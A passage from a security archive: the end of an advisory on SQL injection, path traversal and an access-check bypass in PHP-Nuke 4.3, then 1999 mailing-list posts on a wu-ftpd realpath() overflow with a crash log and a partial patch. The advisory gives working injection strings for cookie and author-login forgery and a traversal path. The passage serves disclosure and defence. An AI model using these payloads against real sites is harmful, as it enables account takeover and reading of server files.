variables we are also limited, unless the query contains a variable that
was parsed by the script in some form (such as with cookiedecode()).
Hmm, that's quite a few limitations.
So let's look at the query we've been running:
mysql_query("update users set umode='$mode', uorder='$order',
thold='$thold' where uid='$cookie[0]'");
By specifying an arbitrary uid value, we can clobber the umode, uorder,
and thold values of any user. Though annoying, it is hardly a critical
security problem, since umode, uorder, and thold are just the display
preferences of a user. Let's look at the entire code snippet:
if($save) {
cookiedecode($user);
mysql_query("update users set umode='$mode', uorder='$order',
thold='$thold' where uid='$cookie[0]'");
getusrinfo($user);
$info = base64_encode("$userinfo[uid]:$userinfo[uname]:".
"$userinfo[pass]:$userinfo[storynum]:$userinfo[umode]:".
"$userinfo[uorder]:$userinfo[thold]:$userinfo[noscore]");
setcookie("user","$info",time()+$cookieusrtime);
}
After calling cookiedecode() and running the first query, there's a call
to getusrinfo(), and then a bunch of the user's information is base64
encoded and sent to us as a cookie. However, notice! The $userinfo[pass]
value is included! This means, if we're careful, we may possibly be sent
a cookie that contains a user's password. All we need to do is get past
getusrinfo():
function getusrinfo($user) {
global $userinfo;
$user2 = base64_decode($user);
$user3 = explode(":", $user2);
$result = mysql_query("select uid, name, uname, email,
femail, url, pass, storynum, umode, uorder,
thold, noscore, bio, ublockon, ublock, theme,
commentmax from users where uname='$user3[1]'
and pass='$user3[2]'");
if(mysql_num_rows($result)==1) {
$userinfo = mysql_fetch_array($result);
} else {
echo "<b>A problem occured</b><br>";
}
return $userinfo;
}
Hmm, ok, let's see. Again, it takes the $user value, base64 decodes it
(just like cookiedecode()), then runs a query using parts 2 and 3 from the
cookie ($user3[1] and $user3[2], respectively). However, to correctly
work, we need to know the right uname and pass of the target user,
otherwise the SQL query will return 0 rows, and will display "A problem
occured". If we already know the username and password of a user, we
wouldn't be going through this, now would we?
So, can we tamper with the query? We're looking to return all the user
data for the record where "uname='name' and pass='password'". Perhaps if
we broaden the search criteria, we can do better. Consider a query that
looks like:
... where uname='name' and pass='password' or uname='name'
Logically, the query is grouped like so:
... where (uname='name' and pass='password') or (uname='name')
So now, if we know a user's username (which we should), but not their
password, the first clause will fail; however, the second will succeed!
Or at least, that's the plan....
So let's test that hypothesis. Now we need to make our $user variable
contain something like:
uid:username:blah' or uname='username
On my system I want to target the user 'test1'. So I'm going to try the
values:
1:test1:blah' or uname='test1
Now, let's encode that:
[root@cide nuke]# echo -n "1:test1:blah' or uname='test1" |
uuencode -m f
begin-base64 644 f
MTp0ZXN0MTpibGFoJyBvciB1bmFtZT0ndGVzdDE=
====
Put that in our query above, and try it out. Lo and behold, I'm sent a
Cookie that looks like:
Set-Cookie: user=MTp0ZXN0MTpsZmtTdjlOUTFla2xnOjEwOnJhaW46MDowOjA%3D;
expires=Friday, 29-Dec-00 20:14:00 GMT
Now, the user value is base64 encoded. I have my own way to base64 decode
stuff, but to be compatible with what I've been writing (i.e. using the
command line), the best way is to create a file (let's call it 'encode')
with the following contents:
begin-base64 666 user
MTp0ZXN0MTpsZmtTdjlOUTFla2xnOjEwOnJhaW46MDowOjA=
===
Note: replace all %3D with '=', and don't include the ending ';'
Now, run the following command:
[root@cide nuke]# uudecode encode; cat user
uudecode: encode: illegal line
1:test1:lfkSv9NQ1eklg:10:rain:0:0:0
And there we go--that's the uid, username, password, etc of the target
user (test1). Now, before you think that I use *really* strong passwords,
you should know that PHP-Nuke uses password hashing. That means you'll
have to crack the password hash to get the actual password.
But does that matter? I'm going to hop over to user.php. User.php is the
script that manages user information, including login, new user
registrations, user information changes, etc. Particularly, what does it
take to change a user's information? Well, let's see:
function edituser() {
global $user, $userinfo;
include("header.php");
getusrinfo($user);
nav();
?>
<table cellpadding=8 border=0><tr><td>
<form action="user.php" method="post">
<b><?php echo translate("Real Name"); ?></b> <?php echo
translate("(optional)"); ?><br>
<input class=textbox type="text" name="name" value="<?PHP
echo"$userinfo [name]"; ?>" size=30 maxlength=60><br>
...
Hmmm, so it includes header.php (which just inserts the correct heading
HTML for the user's preferred theme). Then it calls getusrinfo(). Well,
we just went through how we can abuse getusrinfo() to set $userinfo to any
value. After edituser() calls getuserinfo(), it then calls nav(),
followed by starting to print out all the user's information. So, it
seems, if we have the valid user cookie, we can successfully become that
user--we don't even need to crack the password.
But the edituser() function is called when we want to view information. If
we want to modify a user's information, we'd have to get past the
saveuser() function, which starts off with:
function saveuser($uid, $name, $uname, $email, $femail, $url, $pass,
$vpass, $bio) {
global $user, $cookie, $userinfo, $EditedMessage,
$system, $minpass;
cookiedecode($user);
// Vulnerability fix thanks to DrBrain
$user_check=$cookie[1];
$result=mysql_query("select uid from users where
uname='$user_check'");
$vuid=mysql_result($result,0,"uid");
if ($user AND ($cookie[1] == $uname) AND ($uid == $vuid)) {
...
Of course, what's interesting about this is that it was already 'fixed'
for a security vulnerability. Let's take a look at what the code is
doing...
cookiedecode() decodes the $user value into the $cookie array. We supply
the $uid, $user, and $uname values. So the pseudo-code for this looks
like:
- Decode $user into $cookie array
- Look up the uid of the user given in $cookie (from $user, which
we supply)
- If the username in $cookie (which we give) matches the username
in $uname (which we give), and the $uid (which we give)
matches the uid of the username given in $cookie (which we
give), then proceed
It seems the actual crux of this code makes sure our supplied cookie
matches the username we're giving as a parameter, and that we know the
correct userid (uid) to go along with our target username. If we go back
up to the edituser() above, you'll find out that the uid of the username
queried is returned as a hidden field (I didn't include that snippet of
code). So we can do a query to edituser() to get the uid, and then to
saveuser() with the approriate cookie, uname, and uid values.
But of course, what good does that do? Sure, we can take over user
accounts. But the gem would be something with administrative access,
which in PHP-Nuke's case, are considered 'authors'.
So what do we know about author accounts? Taking a peek in nuke.sql,
which is the initial SQL script for PHP-Nuke, we see that author and user
information are kept in separate tables--that means we need to find a SQL
query that is querying the author table specifically. So, let's see:
[root@cide nuke]# grep mysql_query *|grep author
admin.php: $result = mysql_query("select radminarticle,
radmintopic,radminleft,radminright,radminuser,radminmain,
radminsurvey,radminsection,radminlink,radminephem,radminfilem,
radminhead,radminsuper from authors where aid='$aid'");
auth.inc.php: $result=mysql_query("select pwd from authors where
aid='$aid'");
auth.inc.php: $result=mysql_query("select pwd from authors where
aid='$aid'");
mainfile.php: $holder = mysql_query("SELECT url, email FROM authors
where aid='$aid'");
mainfile.php: mysql_query("insert into stories values (NULL,
'$aid', '$title', now(), '$hometext', '$bodytext', '0', '0', '$topic',
'$author', '$notes')");
search.php: $thing = mysql_query("select aid from authors order by
aid");
stats.php:$result = mysql_query("select * from authors");
top.php:$result = mysql_query("select aid, counter from authors order
by counter DESC limit 0,$top");
Hmm, so only 8 hits. The second query in mainfile.php doesn't actually
query the author table, and the stats.php doesn't include any variables,
so those can be scratched. Top.php is severely limited--if MySQL allowed
extra queries to be appended (like I've discussed in the past and above),
then it would have possibility; but in our case, it doesn't, so we don't
need to spend time on it. Mainfile.php doesn't retrieve any interesting
information from the author table, so we can't really abuse it. So that
leaves us with admin.php and auth.inc.php.
Admin.php is the page where administrators log in and perform
administrative functions. The first thing admin.php does is call
auth.inc.php, so that means, essentially, we need to fool auth.inc.php to
do anything we want. Now, there are two pieces to auth.inc.php...the
initial login, and the standard author password check:
initial login:
if ((isset($aid)) && (isset($pwd)) && ($op == "login")) {
if($aid!="" AND $pwd!="") {
$result=mysql_query("select pwd from authors where aid='$aid'");
list($pass)=mysql_fetch_row($result);
if($pass == $pwd) {
$admin = base64_encode("$aid:$pwd");
setcookie("admin","$admin",time()+2592000);
}
}
}
standard author password check:
if(isset($admin)) {
$admin = base64_decode($admin);
$admin = explode(":", $admin);
$aid = "$admin[0]";
$pwd = "$admin[1]";
if ($aid=="" || $pwd=="") {
$admintest=0;
echo .... bunch of HTML ....;
exit;
}
$result=mysql_query("select pwd from authors where aid='$aid'");
if(!$result) {
echo "Selection from database failed!";
exit;
} else {
list($pass)=mysql_fetch_row($result);
if($pass == $pwd && $pass != "") {
$admintest = 1;
}
}
}
Now, what's interesting about the initial login snippet is that, like
article.php, if we can trick it into thinking we're the user, it will
return to us a cookie with the username and password. However, to get
author status, we need to trick the standard author password check snippet
into setting $admintest=1.
Looking at the initial login snippet, we see that we need to tamper with
the $aid parameter; but, as discussed earlier, PHP doesn't allow us to
include SQL escaping tricks, so it's a relative dead end.
Now the other snippet pulls those values from the $admin 'cookie' value,
which we know we can tamper with (as seen earlier). So we're really left
dealing with the following query:
$result=mysql_query("select pwd from authors where aid='$aid'");
And we must meet this requirement:
if($pass == $pwd && $pass != "") {
Hmm, that's tough. We must somehow manipulate the query to return a known
value, that cannot be blank. Given the query, it will only return values
in the 'pwd' column. Heck, if we knew those values already, we wouldn't
need to be doing this. So I sat stumped, trying to figure out what to do.
Then something occurred to me. We need to know the value the query is
going to return. That value needs to be the password of an existing
author. So, what if we did a search for the password? Imagine this
query:
select pwd from authors where aid='arbitrary' or pwd='password'
This would perform a query and select records where aid had a value of
'arbitrary' or password had a value of 'password'. Hmmm. So what good is
that?
What's advantageous about this is that it will match if *any* author has
the 'password' (or whatever we specify) as their password. We can
manipulate it by supplying an aid value of:
' or pwd='common_password
So then if any author has a password that matches what we sent
(common_password in this case), the $pwd variable is sent to
'common_password'. If we also set pass=commmon_password, then
$pass==$pwd, and we're authenticated as an author. Actually, we're
authenticated as the author that has the password we supplied. PHP-Nuke
does allow different 'rights' to be set for each author, and we many not
have rights to do anything, but still, we have author status. That's all
this exercise was meant for.
Before you become really disappointed, you should take a look at some of
the options available to authors. Surprisingly, no rights are required to
do such things as run 'env' (which essentially gives you php_info()),
'show' (view arbitrary files viewable by the webserver's uid), 'chdr' (get
nicely formatted directory listings), 'edit' (write contents into files
writable by the webserver's uid), etc.
As far as SQL hacking goes, that's it for PHP-Nuke. Hope you enjoyed the
long example!
-/ 4 / New Year BONUS: other tricks /------------------------------------
PHP-Nuke includes a few other things that I felt would be nifty to point
out, in regards to this being an educational walk-through in reviewing PHP
code.
When I sit down to review some code, the first things I look at are
system-interaction functions--particularly filesystem interaction and
command execution. In PHP, some of the target functions include:
exec() - run external commands
passthru() - run external commands
system() - run external commands
fopen() - open a file (or URL)
readfile() - output a file (or URL)
include() - include a file (or URL)
include_once() - (same as include)
The first three deal with executing programs. The other four deal with
reading files. Note that require()/require_once() are expanded on
initialization, meaning there is no room to tamper with them during
execution and therefore they are not reviewed.
So, how do I start evaluating the use of these functions? The easiest
place to start is grep:
[root@cide nuke]# grep exec *
stats.php:$time = (exec("date"));
stats.php:$uptime_info = "Uptime:" . trim(exec("uptime")) . "\n\n";
stats.php:exec ("df", $x);
Hmm, three hits. However, none of them contain any variables (the $x in
the 'df' one is for output), so we can't tamper with any of them. Moving
on...passthru() doesn't yeild any hits. System() yeilds some hits, but
they are mostly text and variable names--no actual use of the system()
function.
So let's move on to the file functions. What's unique to PHP is that you
can actually supply an URL to a file function, and PHP will remotely fetch
it and use it. So this gives us the added bonus of possibly being able to
pull in code from external systems--a fun feature indeed!
So let's see:
[root@cide nuke]# grep fopen *
admin.php: $fp=fopen($basedir.$file,"w");
admin.php: $fp=fopen($basedir.$file,"r");
admin.php: $fp=fopen($basedir.$filelocation,"w");
mainfile.php: $file = fopen("$ultra", "w");
mainfile.php: $fpread = fopen($headlinesurl, 'r');
mainfile.php: $fpwrite = fopen($cache_file, 'w');
Hmm, well the admin.phps are promising, pending on where $basedir and
$file/$filelocation are defined. Same with mainfile.php and
$headlines/$cache_file. So looking at admin.php we see that $basedir is
defined at:
$basedir = dirname($SCRIPT_FILENAME);
This is essentially the directory where the script is. Looking around,
you can see that $file is not defined anywhere, meaning we can specify it
in the URL parameters! Looking at the 'show' and 'edit' operations in
admin.php, our hunch is right--'show' will open the file specified by
$basedir.$file, just like edit. We can't really control $basedir, but we
can control $file. So if we use '..' (otherwise known as "reverse
directory traversal", and **NOT TRANSVERSAL**!...'traverse' means to move
or travel along...'transverse' means to be crosswise or at an angle with.
Sorry, pet peeve.) That means calling the 'edit' operation in admin.php
with a file parameter set to something like '../../../../etc/hosts' allows
us to view the contents of the system's hosts file. The other fopen's can
be abused in the same manner.
So lets move on to mainfile.php. Looking at $headlinesurl:
$result = mysql_query("select sitename, url, headlinesurl from
headlines where status=1");
while (list($sitename, $url, $headlinesurl) =
mysql_fetch_row($result)) {
Its a static query into the headlines table. Unless we can insert values
into the headlines database, it's not much good to us. $cache_file is
defined as:
$cache_file = "cache/$sitename.cache";
using the $sitename from the same query as $headlinesurl.
Moving on to include_once() and readfile(), returns zero hits. But
include() is used a lot...in fact, its used 355 times. But that's
because it's used to include other files, particularly the header and
footer of the theme, etc. Considering we're only interested in
include()'s that contain variables, we can filter out the cruft and keep
the interesting ones:
footer.php: include("themes/$cookie[9]/footer.php");
footer.php: include("themes/$Default_Theme/footer.php");
header.php: include("themes/$cookie[9]/theme.php");
header.php: include("themes/$cookie[9]/header.php");
header.php: include("themes/$Default_Theme/theme.php");
header.php: include("themes/$Default_Theme/header.php");
mainfile.php: include("language/lang-$language.php");
mainfile.php: include($cache_file);
header.php and footer.php use the include()'s to include the appropriate
file for the user's preferred theme (or uses the $Default_Theme if not
specified). $language and $cache_file are also defined in mainfile.php, so
mainfile.php is a dead end. Let's look at header.php. The relevant code
looks like:
if (!isset($index)) {
include("config.php");
global $artpage, $topic;
} else {
global $site_font, $sitename, $artpage, $topic, $banners,
$Default_Theme, $uimages;
}
....
if(isset($user)) {
$user2 = base64_decode($user);
$cookie = explode(":", $user2);
if($cookie[9]=="") $cookie[9]=$Default_Theme;
if(isset($theme)) $cookie[9]=$theme;
include("themes/$cookie[9]/theme.php");
include("themes/$cookie[9]/header.php");
} else {
include("themes/$Default_Theme/theme.php");
include("themes/$Default_Theme/header.php");
}
So here we see the include is using $cookie[9] if $user is set, or
$Default_Theme if not. $Default_Theme is defined in config.php, which is
included above if $index is not defined.
Did you get that? Perhaps you should read it again..."$Default_Theme is
defined in config.php, which is included above if $index is not defined."
Huh. So if we define $index (by including index=1 in our URL), config.php
is NOT included, and therefore we can specify an arbitrary $Default_Theme
value in the URL as well. Let's test this.
I'm going to request the following URL:
/header.php?index=1&Default_Theme=rain.forest.puppy
I'm greeted with the following PHP errors:
Warning: Failed opening 'themes/rain.forest.puppy/theme.php' for
inclusion (include_path='') in /home/httpd/html/nuke/header.php on
line 97
Warning: Failed opening 'themes/rain.forest.puppy/header.php' for
inclusion (include_path='') in /home/httpd/html/nuke/header.php on
line 98
Wow, it worked. So, can we submit values for Default_Theme that would
allow us to include arbitrary files? Unfortunately the 'themes/' is
prefixed, so we can't use PHP's cool remote-URL-fetch-file-include
feature.
We can definately use '..' notation to go into parent directories.
However, the problem is that '/theme.php' is always appended to whatever
we submit. We can't view '../../../../etc/hosts' because the final
include() is called with the value:
themes/../../../../etc/hosts/theme.php
So we need to somehow ditch the extra '/theme.php' that's being appended.
Those of you who read my Phrack 55 article ("Perl CGI Problems") may
recall the 'Poison Null Byte' scenario I talked about. For those of you
who haven't read it, a copy is available at:
http://www.wiretrip.net/rfp/p/doc.asp?id=6
The Poison Null Byte scenario involves submitting a NULL character in an
attempt to get the application to ignore the extra appended crap. The
theory goes something like this:
- I submit:
../../../../etc/hosts<NULL>
(<NULL> is the NULL character, and not the 6-character string <NULL>)
- The application puts it all together into:
themes/../../../../etc/hosts<NULL>/theme.php
- The application gives it to the sytem to include()
- The system reads up the NULL byte, and stops there, since system
functions are built to stop processing a string once a NULL byte
is reached
- Since the system stops at the NULL byte, they are effectively opening
themes/../../../../etc/hosts
So I tried it. And it doesn't work. In fact, I tried all 255 values
(every possible character)--nadda. PHP is smart and doesn't fall for that
trick. So this attack won't work, unless someone knows some way to fool
PHP like you can fool the other scripting languages. But I thought it had
some educational value and was worth mentioning.
There is one last thing Id like to point out. The admin.php script
include()'s a bunch of supporting scripts found in the /admin/ directory.
Each of these scripts includes a 'safety check' that looks like:
if (!eregi("admin.php", $PHP_SELF)) { die ("Access Denied"); }
This essentially scans the URL to see if admin.php is the file being used
(i.e. we're calling admin.php, and admin.php is then include()'ing the
file, versus us calling it directly). However, the regex performed by
eregi doesn't work--all it cares about is that admin.php is included
*somewhere* in the URL. Imagine the following request:
/admin/authors.php/admin.php
This will actually call the /admin/authors.php (which contains the above
safety check). The extra '/admin.php' is superfluous and not used. But
the regex performed by eregi() will still see the extra '/admin.php' part,
and therefore it will check out OK. So the check was subverted.
However, there is nothing usable (that I saw) in any of the /admin/ files,
and the SQL queries won't work since the SQL connection info is defined in
config.php, which is included via admin.php (and not in any of the
individual /admin/ files). But it was still interesting to point out why
this method of checking doesn't necessarily work.
-/ 5 / Resolution /------------------------------------------------------
Well, as indicated at the start of this document, I contacted the author
on Dec 29, 2000. Unfortunately, I believe the author misunderstands my
intentions. The authors view, in regards to security, can be viewed at
the following two locations:
http://www.phpnuke.org/article.php?sid=1022&mode=thread&order=0&thold=0
http://www.securityfocus.com/archive/1/162261
Of course, his point is valid: people point out flaws, and don't help fix
them. I offered my assistance in patching, but he was rather nonplussed
in communication with me.
Which is awkward, because I want to use PHP-Nuke. To date, I've spent
some 30-odd total hours of my freetime patching the code. However, at the
same time, PHP-Nuke 4.4 was about to be released. What I *didn't* want to
do was create a code fork by releasing security patches for 4.3 in
parallel with 4.4. So the delay in this advisory release was to wait for
4.4, and give the author a chance to fix the problems he was notified
about.
So the final resolution? PHP-Nuke 4.4 was released on Feb 8, 2001. The
author knew about the problem for 40+ days. The fixes may or may not be
in version 4.4. If they are, kudos for PHP-Nuke. If not, well, you be
the judge.
-/ acks /----------------------------------------------------------------
Special thanks to Zope Kitten for fixin' muh spelin'
-----/ RFP2101 /-----------/ rfp.labs / wiretrip / rfp@wiretrip.net /----
RFP2101 - SQL hacking user logins in PHP-Nuke web portal. PHP-Nuke v4.3 contains authentication weaknesses in the SQL code which allows you to impersonate other users and retrieve their password hashes.
/wu-ftpd.bof+patch.txt ( na)
From: owner-wu-ftpd@wugate.wustl.edu [mailto:owner-wu-ftpd@wugate.wustl.
edu] On Behalf Of Gregory A Lundberg
Sent: Tuesday, March 23, 1999 10:44 AM
To: Russ Allbery
Cc: ayu1@nycap.rr.com; wu-ftpd@wugate.wustl.edu
Subject: Re: FW: ftp exploit
>
>
On 23 Mar 1999, Russ Allbery wrote:
>
> > any comments?
>
> It's an exploit script for the path overflow bug that's already been
> announced by CERT, been on all the security lists, and has already
> been fixed in the latest version of every wu-ftpd variant that I'm
> aware of as well as being the impetus for the final mainline wu-ftpd
> release?
>
Correct. This is a full exploit against Redhat 5.2 (the original advisory
was based upon a test, not an exploit).
>
My comment: This posting proves why you need to keep up with the CERT
mailing list, if not Bugtraq and other lists. As often heppens, the
exploit followed the discovery of the vulnerability by several weeks.
While it sometimes happens that exploits are distributed before the daemon
authors are notified and public security announcement made, this was not
the case here.
>
>
>
My testing shows:
>
This is an exploit using the buffer overflow described in
>
CERT Advisory CA-99.03 - FTP-Buffer-Overflows
>
Available from htp://www.CERT.org/
>
It is directed solely at Redhat CD 4.2 Linux systems running a clean,
default install. It was not successfull on unclean 5.2 systems, the
pre-5.2 systems I tested on, or when I built the daemon by-hand instead of
using a Redhat (S)RPM. My testing showed, while none of the systems I
have available were exploitable, the exploit WOULD HAVE WORKED but failed
for identifiable reasons.
>
Given working code for Redhat 4.2, it should be a fairly simply matter to
port to non-Linux or non-5.2 systems.
>
>
>
WHO IS VULNERABLE
-----------------
>
- Systems running ALL versions of WU-FTPD _prior_ to 2.4.2 (final),
including all 2.4.2-beta versions, ARE VULNERABLE, except as noted
below:
>
- Systems with proper upload clauses are partially protected. Many
systems do not use proper upload clauses for real/guest users and are
NOT protected from abuse by their local users.
>
- Systems with proper permissions are partially protected. Most systems
do not use proper permissions for real/guest users since they would
prevent use by Telnet/SSH/Shell .. such systems are NOT protected from
their local users.
>
>
>
WHO IS NOT VULNERABLE
---------------------
>
- Systems running 2.4.2 (final) are protected against _this_ bug. Such
systems should upgrade to VR16 for maximum security; a number of other
bugs and security problems have been fixed in VR16.
>
- Systems running 2.4.2-beta-18-VR10 or later are protected. Anyone
running VR10 through VR13 should upgrade to VR14 or later at your
earliest convenience.
>
- Systems running BeroFTPD 1.2.0 or later are NOT vulnerable. All
BeroFTPD systems should upgrade to the current version (1.3.4) at their
earliest conenience. Anyone running a vulnerable system with NEWVIRT,
will want to immedeately upgrade to BeroFTPD.
>
>
>
The location of the latest version of wu-ftpd can be found in the
directory
>
ftp://ftp.vr.net/pub/wu-ftpd/
>
>wu-ftpd Resource Center: http://www.landfield.com/wu-ftpd/
>wu-ftpd FAQ: http://www.cetis.hvu.nl/~koos/wu-ftpd-faq.html
>wu-ftpd list archive: http://www.landfield.com/wu-ftpd/mail-archive/
>
>--
>
>Gregory A Lundberg Senior Partner, VRnet Company
>1441 Elmdale Drive lundberg+wuftpd@vr.net
>Kettering, OH 45409-1615 USA 1-800-809-2195
------------------------------------------------------------------------------
Date: Thu, 25 Mar 1999 22:17:33 -0500
From: Gregory A Lundberg <lundberg+wuftpd@VR.NET>
To: BUGTRAQ@netspace.org
Subject: Re: wu-ftpd overflow.
On Sun, 21 Mar 1999, CyberPsychotic wrote:
> (cc'ed to bugtraq since I haven't seen yet any patches fixing this
> problem were posted there)
Yes, the exploit recently posted to Bugtraq takes advantage of the
realpath() buffer overflows .. as they exist in the Redhat RPM version
shipped on their 5.<something> CD. The exploit may require some
modification to be successfully used against other Linux/Intel systems
and, of course, will need major changes to be used against other hardware
or software platforms.
About the exploit posted on Bugtraq: my read-through of the shows it does
use the vulnerability through the MKD command. You are correct that some
Academ beta versions do not use the source-provided vulnerable realpath()
function for MKD. ISTM it should be fairly easy to modify the exploit to
make use of other commands where a given Academ beta version _does_ use
realpath(). Remember, the exploit is an _example_ of the problem, it does
not reveal the true magnetude of the vulnerability. A positive test
proves vulnerability while a negative test proves nothing.
The vulnerable and non-vulnerable versions were outlined in the advisories
which _were_ posted on Bugtraq.
The realpath() problem was openly discussed on Bugtraq weeks (months? ..
I'd have to look through the Bugtraq archives again) before the release of
the advisories. The actively maintained versions of the wu-ftpd daemon
were immedeately corrected as a result of the realpath() vulnerability
discussions on Bugtraq, so they had been corrected for quite some time
prior to Netect's research indicating there may be a problem.
At the time of publication of the Netect/CERT Advisories, patches for
wu-ftpd were unnecessary since the current, maintained, versions were not
vulnerable.
My patch file for wu-ftpd, which corrects the problem, is presently 644162
bytes in length, fixes several hundred other problems with the daemon, and
is available via FTP from ftp://ftp.vr.net/pub/wu-ftpd/ for those silly
enough to want it (I rather doubt it Aleph would allow it through to the
Bugtraq the mailing list). I am not inclined to pull out the patches for
realpath() because the entire pile of male bovine by-product was replaced.
A patch file for the other major, maintained, version of wu-ftpd
(BeroFTPD) is not available at all. Since today it would probably run
well over 1 Meg, the maintainer sees no point in the fiction of
'patching'. He is also dis-inclined to pull out the realpath() changes
since he and I co-operated on the complete replacement of the function
(actually he did most of the initial work; I just debugged it).
At about the time of the Netect/CERT Advisorie Redhat released updated
RPMs for the vulnerable Academ 2.4.2-betas they distribute. I don't know
whether they released before or after, but I do recall it was just a few
hours before their availability was discussed on Bugtraq.
Other versions (from wu-stl and academ) are not actively maintained and
should not be used in production environments. Anyone running versions of
wu-archive / the wu-ftpd daemon older than Academ's 2.4.2-beta-18 has more
severe problems than this buffer overrun, so I see no point posting the
patch. For them the correct solution is either updating to a more current
version or manual operation of the power switch.
The only current version still vulnerable when the CERT advisory was
issued the Academ version 2.4.2-beta-18, which is (almost) not actively
maintained. A week or two following the CERT advisory Academ silently
released 2.4.2 (final).
My knowledge of the code, and my direct research indicates:
The 2.4.2 (final) version does not completely solve the problem. Nor
does your patch. (Nor, for that matter, does the Redhat patch but
that's a moot point since their patch does fix the problem for their
Linux systems.)
For systems using the realpath() function supplied with the source kit,
a patch will work to correct, or at least hide, most, if not all, of
the vulnerability. For other systems, whether or not the daemon is
vulernable depends upon whether or not your vendor-supplied realpath()
function is vulnerable (back to the original discussion on Bugtraq).
The only change here from my recommendations appearing in the Netect
and CERT advisories is that the number of potentially vulnerable
systems has been reduced by those using the daemon-supplied realpath()
function to only those with vendor-supplied vulnerable realpath()
functions.
To determine if your daemon uses the supplied function, look in
<wuftpd>/src/config/config.<ostype> for a line reading something like:
#define realpath realpath_on_steroids
If this #define does NOT appear, contact your vendor concerning the
vulnerability of the realpath() function, or upgrade to a more-current
version of the daemon (yes, there are versions much more current that
Academ's 2.4.2/final).
Those wishing further information may contact me via the wu-ftpd support
mailing list at mailto:wu-ftpd@wugate.wustl.edu .. subscription and
unsubscription information for that mailing list are in the FAQ.
The location of the latest versions of wu-ftpd can be found in the
directory
ftp://ftp.vr.net/pub/wu-ftpd/
wu-ftpd Resource Center: http://www.landfield.com/wu-ftpd/
wu-ftpd FAQ: http://www.cetis.hvu.nl/~koos/wu-ftpd-faq.html
wu-ftpd list archive: http://www.landfield.com/wu-ftpd/mail-archive/
(The html version of the wu-ftpd list archive is
currently not working, use the Unix mailbox
format instead.)
--
Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive lundberg+wuftpd@vr.net
Kettering, OH 45409-1615 USA 1-800-809-2195
------------------------------------------------------------------------------
Date: Sun, 21 Mar 1999 18:21:22 +0500
From: CyberPsychotic <fygrave@TIGERTEAM.NET>
To: BUGTRAQ@netspace.org
Subject: wu-ftpd overflow.
~ Has some1 located the file/function where
~ the overflow takes place ?
Yes. I think overflow takes place is function realpath.c:
look at the end of the function realpath(), which first concatinates
everything together and then just does strcpy into result variable, which is
pointer to buffer sized of MAXPATHLEN. You could either owerflow workpath
variable in realpath, or, if your buffer is not too fat, it will be
overflowed later, when function makedir returns (called from ftpcmd).
in either case return address gets overflowed and it returns
nowhere (or to your exploit code if you put there such, no big deal).
I've made a couple of fixes to ftpd daemon to generate debugging info via
syslog, so here's what I have:
Mar 21 12:21:46 gear ftpd[21737]: ftpcmd:1294 (ftpcmd called makedir)
Mar 21 12:21:46 gear ftpd[21737]: before 3180 (calling realpath line 3128)
Mar 21 12:21:46 gear ftpd[21737]: overflow:180 (here overflow takes place)
Mar 21 12:21:46 gear ftpd[21737]: overflow:210 (again. It's being copied twice)
Mar 21 17:21:47 gear syslogd: Cannot glue message parts together
Mar 21 12:21:46 gear ftpd[21737]: after 3180 (realpath line 3128 returns)
/foo/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Mar 21 17:21:47 gear
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Mar 21 12:21:47 gear ftpd[21737]: exiting on signal 11
oops..... now it attempted to execute piece at 0x41414141 addy..
Some previous beta releases of wu-ftpd are NOT vulneriable
to this thing because they just don't call realpath function (which does
overflow) from makedir() function. Here's quick patch I've done to this
piece (cc'ed to bugtraq since I haven't seen yet any patches fixing this
problem were posted there):
--/cut here/--
--- ftpd.c.orig Mon Jul 6 15:14:25 1998
+++ ftpd.c Sun Mar 21 18:17:52 1999
@@ -3146,19 +3146,24 @@
if (mkdir(name, 0777) < 0) {
if (errno == EEXIST){
- realpath(name, path);
- reply(521, "\"%s\" directory exists", path);
+ if(realpath(name, path))
+ reply(521, "\"%s\" directory exists.", path);
+ else reply(521,"path too long.");
}else
perror_reply(550, name);
return;
}
- realpath(name, path);
/* According to RFC 959:
* The 257 reply to the MKD command must always contain the
* absolute pathname of the created directory.
* This is implemented here using similar code to the PWD command.
* XXX - still need to do `quote-doubling'.
*/
+ if(!realpath(name, path))
+ if (strlen(path)!=0)
+ reply(257,"\"%s\" directory created name truncated.",path);
+ else reply(500,"no directory created. Path too long.");
+ else
reply(257, "\"%s\" new directory created.", path);
}
--- realpath.c.orig Sun Mar 21 17:29:42 1999
+++ realpath.c Sun Mar 21 18:08:28 1999
@@ -40,6 +40,7 @@
#include <sys/stat.h>
#include <sys/param.h>
